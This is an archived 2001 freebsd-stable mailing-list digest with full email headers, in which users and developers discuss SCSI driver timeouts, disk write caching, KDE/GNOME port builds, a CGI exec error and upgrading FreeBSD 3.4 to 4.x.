stable@FreeBSD.ORG Subject: Re: Uh oh. Looks like something broke with the AHC driver.. In-Reply-To: Your message of "Wed, 14 Mar 2001 22:34:03 +1100." <20010314223403.A56449@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 07:01:20 -0700 From: "Justin T. Gibbs" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Here's a possible "me too". I haven't reported this before >because (a) da2 is my backup Fujitsu MO drive, and it does do >odd things occasionally, and (b) the backup disk is currently >full and I haven't thrown the requisite round-tuit at it. This looks like a device problem. The driver believes that the transaction that timesout has been sent to the device and the device has disconnected never to return. Since the driver is able to select the device to give it a BDR, the device isn't dead. Perhaps it just doesn't like the command the system decided to send it??? -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 6: 5:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aslan.scsiguy.com (aslan.scsiguy.com [63.229.232.106]) by hub.freebsd.org (Postfix) with ESMTP id 2BC8437B719; Wed, 14 Mar 2001 06:05:43 -0800 (PST) (envelope-from gibbs@scsiguy.com) Received: from scsiguy.com (localhost [127.0.0.1]) by aslan.scsiguy.com (8.11.2/8.9.3) with ESMTP id f2EE5Ks71827; Wed, 14 Mar 2001 07:05:21 -0700 (MST) (envelope-from gibbs@scsiguy.com) Message-Id: <200103141405.f2EE5Ks71827@aslan.scsiguy.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Alfred Perlstein Cc: Helge Oldach , oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: Your message of "Tue, 13 Mar 2001 00:58:11 PST." <20010313005811.J29888@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 07:05:20 -0700 From: "Justin T. Gibbs" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >First off, some disk caches are getting > 10megs, that's a lot >of potnetial seeking after loosing power depending on the cache >contents... I've heard that most modern drives reserve a contiguous area of the disk the size of the cache near where the heads park to dump any cache contents on power outage. This avoids most if not all seeking. When the disk powers up again, the reserve track is read and the transactions are written to the correct locations. Any disk that does this should be safe to use with write caching enabled. -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 6:10:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id D839637B71A; Wed, 14 Mar 2001 06:10:25 -0800 (PST) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id PAA29652; Wed, 14 Mar 2001 15:10:10 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200103141410.PAA29652@freebsd.dk> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103141405.f2EE5Ks71827@aslan.scsiguy.com> from "Justin T. Gibbs" at "Mar 14, 2001 07:05:20 am" To: gibbs@scsiguy.com (Justin T. Gibbs) Date: Wed, 14 Mar 2001 15:10:10 +0100 (CET) Cc: bright@wintelcom.net (Alfred Perlstein), Helge.Oldach@de.origin-it.com (Helge Oldach), oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Justin T. Gibbs wrote: > >First off, some disk caches are getting > 10megs, that's a lot > >of potnetial seeking after loosing power depending on the cache > >contents... > > I've heard that most modern drives reserve a contiguous area of the > disk the size of the cache near where the heads park to dump any > cache contents on power outage. This avoids most if not all seeking. > When the disk powers up again, the reserve track is read and the > transactions are written to the correct locations. Any disk that does > this should be safe to use with write caching enabled. I belived that as well, but after consulting with some of the disk vendors, I found out this was just wishfull thinking, almost noone does this anymore infact only one remembered a single drive that did this... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 6:30: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id B089C37B718 for ; Wed, 14 Mar 2001 06:29:56 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 13706 invoked by uid 100); 14 Mar 2001 14:29:56 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15023.32868.9995.327616@guru.mired.org> Date: Wed, 14 Mar 2001 08:29:56 -0600 To: Mark Ibell Cc: Alfred Perlstein , Mars Attack , Soren Schmidt , Peter Wemm , Helge Oldach , oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <3AAF4DA0.C8DA9485@paradise.net.nz> References: <200103131007.f2DA73h54023@mobile.wemm.org> <01f001c0abaa$133e1680$4500a8c0@nomad> <20010313032635.Q29888@fw.wintelcom.net> <3AAF4DA0.C8DA9485@paradise.net.nz> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark Ibell types: > What doesn't appear to have been mentioned is how exactly do we turn off > write caching on SCSI drives. From poking around the best I could work > out was to run 'camcontrol modepage da0 -m 0x08 -e -P 3' and set WCE to > 0 where 0x08 comes from /usr/share/misc/scsi_modes. > > Is this the correct way to do it? Assuming you've got the right numbers for WCE, yes. Camcontrol is the right tool. > Also, is it okay to leave tagged queuing enabled? (I'm really starting > to get paranoid after all this discussion!) I'd say yes, as at least some of the drivers expect it to be there. I think the critical thing is that the driver know when the data is actually on the disk, so if tagged queueing doesn't interfere with that, it's ok. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 6:59:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vilnya.demon.co.uk (vilnya.demon.co.uk [158.152.19.238]) by hub.freebsd.org (Postfix) with ESMTP id A31A537B719 for ; Wed, 14 Mar 2001 06:59:35 -0800 (PST) (envelope-from gandalf@vilnya.demon.co.uk) Received: from haveblue (haveblue.rings [10.2.4.5]) by vilnya.demon.co.uk (Postfix) with SMTP id E1F28D9A8; Wed, 14 Mar 2001 14:59:26 +0000 (GMT) Message-ID: <03ca01c0ac97$5af5a0e0$0504020a@haveblue> From: "Cameron Grant" To: "Gerald Pfeifer" , References: Subject: Re: src/sys/i386/conf/GENERIC and sound support Date: Wed, 14 Mar 2001 14:59:22 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I noticed that this still hasn't been MFCed, even though it makes a lot > of sense for regular users (that is, those that do not recompile their > kernel regularily): > > revision 1.289 > date: 2000/11/14 01:11:13; author: jkh; state: Exp; lines: +4 -1 > In the year 2000, I think it's perfectly reasonable to include audio > support by default in GENERIC. as of 4.3 the preferred usage of newpcm is as modules. it will not be included in GENERIC. > Plus, I have been told by an anonymous lurker that I should push for snd0 > being part of the std set in MAKEDEV too. it is part of the 'all' set now which is what most people actually use. -cg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:10:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cc762335-a.ebnsk1.nj.home.com (cc762335-a.ebnsk1.nj.home.com [24.3.219.36]) by hub.freebsd.org (Postfix) with SMTP id 0252937B71B for ; Wed, 14 Mar 2001 07:10:15 -0800 (PST) (envelope-from damascus@home.com) Received: (qmail 72064 invoked from network); 14 Mar 2001 15:10:24 -0000 Received: from athena.faerunhome.com (HELO athena) (192.168.0.2) by cc762335-a.ebnsk1.nj.home.com with SMTP; 14 Mar 2001 15:10:24 -0000 Message-Id: <4.2.2.20010314100604.00c862e0@netmail.home.com> X-Sender: damascus@netmail.home.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 14 Mar 2001 10:07:37 -0500 To: sam wun From: Carroll Kong Subject: Re: apache show "Exec format error" Cc: stable@FreeBSD.ORG In-Reply-To: <3AAF52F2.A03C274F@yahoo.com> References: <200103141113.f2EBDNn04877@mass.dis.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:16 PM 3/14/01 +1100, sam wun wrote: >Hi, > >I know this is not an appropriate newsgropu to post this msg, but I would >think >you guys konw more about it. >I got the following error when I tried to execue a perl program with calling >.css file: > >Exec format error: exec of /usr/local/cgi-bin/store/managerstylesheet.css >failed >[Wed Mar 14 22:10:03 2001] [error] [client 192.168.1.1] Premature end of >script >headers: >/usr/local/cgi-bin/store/managerstylesheet.css > >Does anyone know what is this all about? > >Thanks >Sam Sounds like /cgi-bin/ is set as a CGI Executable directory mapped to /usr/local/cgi-bin/, so it is trying to somehow execute a .css file which is normally some cascading style sheet file. .css files are like configuration files for html files IIRC. So that .css file should not be there but should be in the html root somewhere like /usr/local/htdocs/ -Carroll Kong To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:14:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id 4628837B71A; Wed, 14 Mar 2001 07:14:31 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2EFFNi01438; Wed, 14 Mar 2001 10:15:23 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: , Subject: KDE2.1 ++ GNOME 1.2 Date: Wed, 14 Mar 2001 10:17:42 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000C_01C0AC70.015890F0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C0AC70.015890F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I am having huge problems installing KDE2.1 and GNOME1.2 on the same box from the ports. It would seem that you cannot install both of them on the same box. Because I tried installing kde first, that worked, then gnome and the gnome build failed! Then I tried installing Gnome first than kde and the kde build failed. Any help here guys.! Colin Legendre CCNA, MCP sudz@ns3g.com ------=_NextPart_000_000C_01C0AC70.015890F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am = having huge=20 problems installing KDE2.1 and GNOME1.2 on the same box from the=20 ports.
 
It = would seem that=20 you cannot install both of them on the same box. Because I tried = installing kde=20 first, that worked, then gnome and the gnome build failed!   = Then I=20 tried installing Gnome first than kde and the kde build failed.  = Any help=20 here guys.!
 
 
Colin Legendre  CCNA, = MCP
sudz@ns3g.com
 
------=_NextPart_000_000C_01C0AC70.015890F0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:35:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from caller.bitdance.com (flirt.bitdance.com [204.97.235.114]) by hub.freebsd.org (Postfix) with ESMTP id 7FA1437B718 for ; Wed, 14 Mar 2001 07:35:35 -0800 (PST) (envelope-from bitz@caller.bitdance.com) Received: from localhost (bitz@localhost) by caller.bitdance.com (8.11.1/8.11.1) with ESMTP id f2EFWZm75976; Wed, 14 Mar 2001 10:32:35 -0500 (EST) (envelope-from bitz@caller.bitdance.com) Date: Wed, 14 Mar 2001 10:32:32 -0500 (EST) From: "R. David Murray " To: Mike Porter Cc: j mckitrick , Ian Dowse , Alfred Perlstein , freebsd-stable@FreeBSD.ORG Subject: Re: suspend/restore with ppp connections In-Reply-To: <01031321051700.26413@mukappa.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Mike Porter wrote: > Maybe it's just me, but why don't you just add into /etc/rc.suspend code to > ring down the ppp connection? (which is more or less what windoze does to get > around the pitfalls involved....) In my experience, that's not enough. You actually have to power down the pcmcia card (or remove it, I suppose). Otherwise you get the crash on powerup, when something tries to use the device. The power thing might be a VAIO specific problem. --RDM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:44:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vorrix.com (ns1.vorrix.com [205.214.90.212]) by hub.freebsd.org (Postfix) with ESMTP id 6E44A37B71A for ; Wed, 14 Mar 2001 07:44:35 -0800 (PST) (envelope-from steffen@vorrix.com) Received: from ws001 [208.60.70.195] by vorrix.com [192.168.0.1] with SMTP (MDaemon.v3.5.3.R) for ; Wed, 14 Mar 2001 10:46:08 -0500 Message-ID: <000e01c0ac9d$abd50040$fd03a8c0@ws001> From: "Steffen Vorrix" To: Subject: Major upgrade Date: Wed, 14 Mar 2001 10:44:34 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C0AC73.C2523D80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MDRemoteIP: 208.60.70.195 X-Return-Path: steffen@vorrix.com X-MDaemon-Deliver-To: freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C0AC73.C2523D80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have been tracking this list for about 3 or 4 weeks now, and I have = learned alot more about FreeBSD then I thought I might. I have = successfully upgrade my two home FreeBSD machines from 4.2 REL to the = current stable version, and everything went just fine. However, I now = need to upgrade 2 production machines for my employer, and these have to = go as painlessly as possible. The problem is that these machines are = 3.4 REL. I have looked through the mail over the past weeks, and I have = found people mention that 3.4 to 4 can have some gotcha's associated = with it, but I haven't seen anything specifically mentioned. Are there = things that I need to watch out for? The reference that I am referring = to was a thread regarding remotely updating servers. While this was = frowned upon by almost everyone in the list, one person specifically = mentioned that remote updating would be a problem from a 3.x to a 4.x. = I don't plan to do any remote updating, but I want to be sure there = aren't other things I need to watch out for. Thanks a bunch. Chris Schremser ------=_NextPart_000_000B_01C0AC73.C2523D80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have been tracking this list for = about 3 or 4=20 weeks now, and I have learned alot more about FreeBSD then I thought I=20 might.  I have successfully upgrade my two home FreeBSD machines = from 4.2=20 REL to the current stable version, and everything went just fine.  = However,=20 I now need to upgrade 2 production machines for my employer, and these = have to=20 go as painlessly as possible.  The problem is that these machines = are 3.4=20 REL.  I have looked through the mail over the past weeks, and I = have found=20 people mention that 3.4 to 4 can have some gotcha's associated with it, = but I=20 haven't seen anything specifically mentioned.  Are there things = that I need=20 to watch out for?  The reference that I am referring to was a = thread=20 regarding remotely updating servers.  While this was frowned upon = by almost=20 everyone in the list, one person specifically mentioned that remote = updating=20 would be a problem from a 3.x to a 4.x.  I don't plan to do any = remote=20 updating, but I want to be sure there aren't other things I need to = watch out=20 for.
 
Thanks a bunch.
 
Chris = Schremser
------=_NextPart_000_000B_01C0AC73.C2523D80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:47:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by hub.freebsd.org (Postfix) with ESMTP id B5C7637B718 for ; Wed, 14 Mar 2001 07:47:32 -0800 (PST) (envelope-from mvh@ix.netcom.com) Received: from netcom1.netcom.com (lai-ca3a-183.ix.netcom.com [209.110.240.183]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA23712; Wed, 14 Mar 2001 10:47:18 -0500 (EST) Received: by netcom1.netcom.com (Postfix, from userid 1000) id 8AA77113F80; Wed, 14 Mar 2001 07:47:00 -0800 (PST) From: Mike Harding To: allbery@ece.cmu.edu Cc: irvine@sanbi.ac.za, freebsd-stable@FreeBSD.ORG In-reply-to: <16650000.984577362@pyanfar.ece.cmu.edu> (allbery@ece.cmu.edu) Subject: Re: KDE 2.1 References: <16650000.984577362@pyanfar.ece.cmu.edu> Message-Id: <20010314154700.8AA77113F80@netcom1.netcom.com> Date: Wed, 14 Mar 2001 07:47:00 -0800 (PST) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had built this and run it under X4.02 until somebody broke it recently - it no longer builds, complaining about pthreads. - Mike Harding Date: Wed, 14 Mar 2001 08:42:42 -0500 From: "Brandon S. Allbery KF8NH" Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG X-Loop: FreeBSD.ORG Precedence: bulk On Wednesday, March 14, 2001 10:52:42 +0200, Irvine Short wrote: +----- | It now compiles straight out of the box, thanks for all the work guys! | | Now though it hangs a long time on "initialising peripherals" and then | gives me a plain grey screen. | | Anyone using it seccuessfully on FreeBSD? +--->8 I just built it... well, "just" meaning "it was compiling from Saturday morning until the middle of yesterday on my ancient dual-P200. I had similar hanging symptoms (kdeinit crashed, aborting startup) until I went back and rebuilt libpng. You might check to see if you have a kdeinit.core and a stack backtrace shows it dying in the PNG routines. -- brandon s. allbery [os/2][linux][solaris][japh] allbery@kf8nh.apk.net system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university ["better check the oblivious first" -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 7:50:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.communityconnect.com (mail.communityconnect.com [209.10.169.57]) by hub.freebsd.org (Postfix) with ESMTP id 0C43737B71D for ; Wed, 14 Mar 2001 07:50:22 -0800 (PST) (envelope-from marius@mail.communityconnect.com) Received: from amavis by mail.communityconnect.com with scanned-ok (Exim 3.20 #1) id 14dDXY-0000do-00 for freebsd-stable@freebsd.org; Wed, 14 Mar 2001 10:50:20 -0500 Received: from [206.28.215.90] (helo=dt-9-45.hq.communityconnect.com) by mail.communityconnect.com with esmtp (Exim 3.20 #1) id 14dDXU-0000ac-00; Wed, 14 Mar 2001 10:50:16 -0500 Date: Wed, 14 Mar 2001 10:50:19 -0500 (EST) From: Marius X-Sender: marius@utterlux.hq.communitconnect.com To: Steffen Vorrix Cc: freebsd-stable@freebsd.org Subject: Re: Major upgrade In-Reply-To: <000e01c0ac9d$abd50040$fd03a8c0@ws001> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've done the upgrade from 3.4 to 4.x stable a few times. I genrally go from 3.4->3.5-Stable and then 3.5-Stable -> 4.x-stable. Basically, if you follow the instructions in UPDATING, it should go well. If you take UPDATING seriously and actually reboot into single user when it tells you to, it will likely be painless. There are ways to get around going into single user, but if you have the luxury of a console, don't sweat it. -Marius On Wed, 14 Mar 2001, Steffen Vorrix wrote: > I have been tracking this list for about 3 or 4 weeks now, and I have lea= rned alot more about FreeBSD then I thought I might. I have successfully u= pgrade my two home FreeBSD machines from 4.2 REL to the current stable vers= ion, and everything went just fine. However, I now need to upgrade 2 produ= ction machines for my employer, and these have to go as painlessly as possi= ble. The problem is that these machines are 3.4 REL. I have looked throug= h the mail over the past weeks, and I have found people mention that 3.4 to= 4 can have some gotcha's associated with it, but I haven't seen anything s= pecifically mentioned. Are there things that I need to watch out for? The= reference that I am referring to was a thread regarding remotely updating = servers. While this was frowned upon by almost everyone in the list, one p= erson specifically mentioned that remote updating would be a problem from a= 3.x to a 4.x. I don't plan to do any remote updating, but I want to be su= re there aren't other things I need to watch out for. >=20 > Thanks a bunch. >=20 > Chris Schremser >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 8:36:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by hub.freebsd.org (Postfix) with ESMTP id B468B37B719 for ; Wed, 14 Mar 2001 08:36:23 -0800 (PST) (envelope-from mvh@ix.netcom.com) Received: from netcom1.netcom.com (lai-ca3a-183.ix.netcom.com [209.110.240.183]) by barry.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA19656; Wed, 14 Mar 2001 11:36:15 -0500 (EST) Received: by netcom1.netcom.com (Postfix, from userid 1000) id 49125113D43; Wed, 14 Mar 2001 08:36:09 -0800 (PST) From: Mike Harding To: steffen@vorrix.com Cc: freebsd-stable@freebsd.org In-reply-to: <000e01c0ac9d$abd50040$fd03a8c0@ws001> (steffen@vorrix.com) Subject: Re: Major upgrade References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> Message-Id: <20010314163609.49125113D43@netcom1.netcom.com> Date: Wed, 14 Mar 2001 08:36:09 -0800 (PST) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Having done this before I would HIGHLY recommend doing a clean install and restoring the 'good stuff' from backup. You can do the upgrades in place, but it takes a while, and you have to do it in steps, and if you misstep you may blow up the box, and so on. You should know how to do clean installs and backups anyways. Since you have 2 machines, assuming sufficient clear disk space on each, you can back one up onto the other and so on. - Mike H. From: "Steffen Vorrix" Date: Wed, 14 Mar 2001 10:44:34 -0500 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C0AC73.C2523D80" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MDRemoteIP: 208.60.70.195 X-Return-Path: steffen@vorrix.com X-MDaemon-Deliver-To: freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG X-Loop: FreeBSD.ORG Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C0AC73.C2523D80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have been tracking this list for about 3 or 4 weeks now, and I have = learned alot more about FreeBSD then I thought I might. I have = successfully upgrade my two home FreeBSD machines from 4.2 REL to the = current stable version, and everything went just fine. However, I now = need to upgrade 2 production machines for my employer, and these have to = go as painlessly as possible. The problem is that these machines are = 3.4 REL. I have looked through the mail over the past weeks, and I have = found people mention that 3.4 to 4 can have some gotcha's associated = with it, but I haven't seen anything specifically mentioned. Are there = things that I need to watch out for? The reference that I am referring = to was a thread regarding remotely updating servers. While this was = frowned upon by almost everyone in the list, one person specifically = mentioned that remote updating would be a problem from a 3.x to a 4.x. = I don't plan to do any remote updating, but I want to be sure there = aren't other things I need to watch out for. Thanks a bunch. Chris Schremser ------=_NextPart_000_000B_01C0AC73.C2523D80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have been tracking this list for = about 3 or 4=20 weeks now, and I have learned alot more about FreeBSD then I thought I=20 might.  I have successfully upgrade my two home FreeBSD machines = from 4.2=20 REL to the current stable version, and everything went just fine.  = However,=20 I now need to upgrade 2 production machines for my employer, and these = have to=20 go as painlessly as possible.  The problem is that these machines = are 3.4=20 REL.  I have looked through the mail over the past weeks, and I = have found=20 people mention that 3.4 to 4 can have some gotcha's associated with it, = but I=20 haven't seen anything specifically mentioned.  Are there things = that I need=20 to watch out for?  The reference that I am referring to was a = thread=20 regarding remotely updating servers.  While this was frowned upon = by almost=20 everyone in the list, one person specifically mentioned that remote = updating=20 would be a problem from a 3.x to a 4.x.  I don't plan to do any = remote=20 updating, but I want to be sure there aren't other things I need to = watch out=20 for.
 
Thanks a bunch.
 
Chris = Schremser
------=_NextPart_000_000B_01C0AC73.C2523D80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 8:38:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A659937B718; Wed, 14 Mar 2001 08:38:31 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id IAA47422; Wed, 14 Mar 2001 08:36:47 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200103141636.IAA47422@gndrsh.dnsmgr.net> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103141405.f2EE5Ks71827@aslan.scsiguy.com> from "Justin T. Gibbs" at "Mar 14, 2001 07:05:20 am" To: gibbs@scsiguy.com (Justin T. Gibbs) Date: Wed, 14 Mar 2001 08:36:47 -0800 (PST) Cc: bright@wintelcom.net (Alfred Perlstein), Helge.Oldach@de.origin-it.com (Helge Oldach), oberman@es.net, sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >First off, some disk caches are getting > 10megs, that's a lot > >of potnetial seeking after loosing power depending on the cache > >contents... > > I've heard that most modern drives reserve a contiguous area of the > disk the size of the cache near where the heads park to dump any > cache contents on power outage. This avoids most if not all seeking. > When the disk powers up again, the reserve track is read and the > transactions are written to the correct locations. Any disk that does > this should be safe to use with write caching enabled. As some one who has spent some time working with disk drive manufactures in the far past all sorts of work is done to make sure that the write cache is not a failure mechanism for lost data. Some of the designs include things like using the spindle motor as a generator and the inertia of the platters to drive it to insure the drive has adaquate power for a long enough period to flush any cached data. Other things done are in non-segmented write caches is to only cache write data for the current track (this is actually where the write cache does most of its good) and always flush it before doing any seek. Only broken WC designs loose data in a power out sitation. There are many broken designs out there. There are also many that work perfectly. The general tell tell on this is what state the WCE bit is in when the drive comes from the factory. Those manufactures who have good designs tend to ship with WCE on, those that tend to loose data always ship with WCE off. With the wonderful breakthroughs in supercapacitors it should now be possible to have some very large caches. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9: 8:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from tigerdyr.lyngbol.dk (tigerdyr.lyngbol.dk [193.162.142.120]) by hub.freebsd.org (Postfix) with ESMTP id C254837B718 for ; Wed, 14 Mar 2001 09:08:15 -0800 (PST) (envelope-from lyngbol@tigerdyr.lyngbol.dk) Received: by tigerdyr.lyngbol.dk (Postfix, from userid 1001) id 4E99398EC; Wed, 14 Mar 2001 18:08:14 +0100 (CET) Date: Wed, 14 Mar 2001 18:08:14 +0100 From: =?iso-8859-1?Q?Michael_Lyngb=F8l?= To: Mike Harding Cc: steffen@vorrix.com, freebsd-stable@freebsd.org Subject: Re: Major upgrade Message-ID: <20010314180814.Y81775@tigerdyr.lyngbol.dk> Mail-Followup-To: =?iso-8859-1?Q?Michael_Lyngb=F8l?= , Mike Harding , steffen@vorrix.com, freebsd-stable@freebsd.org References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> <20010314163609.49125113D43@netcom1.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314163609.49125113D43@netcom1.netcom.com>; from 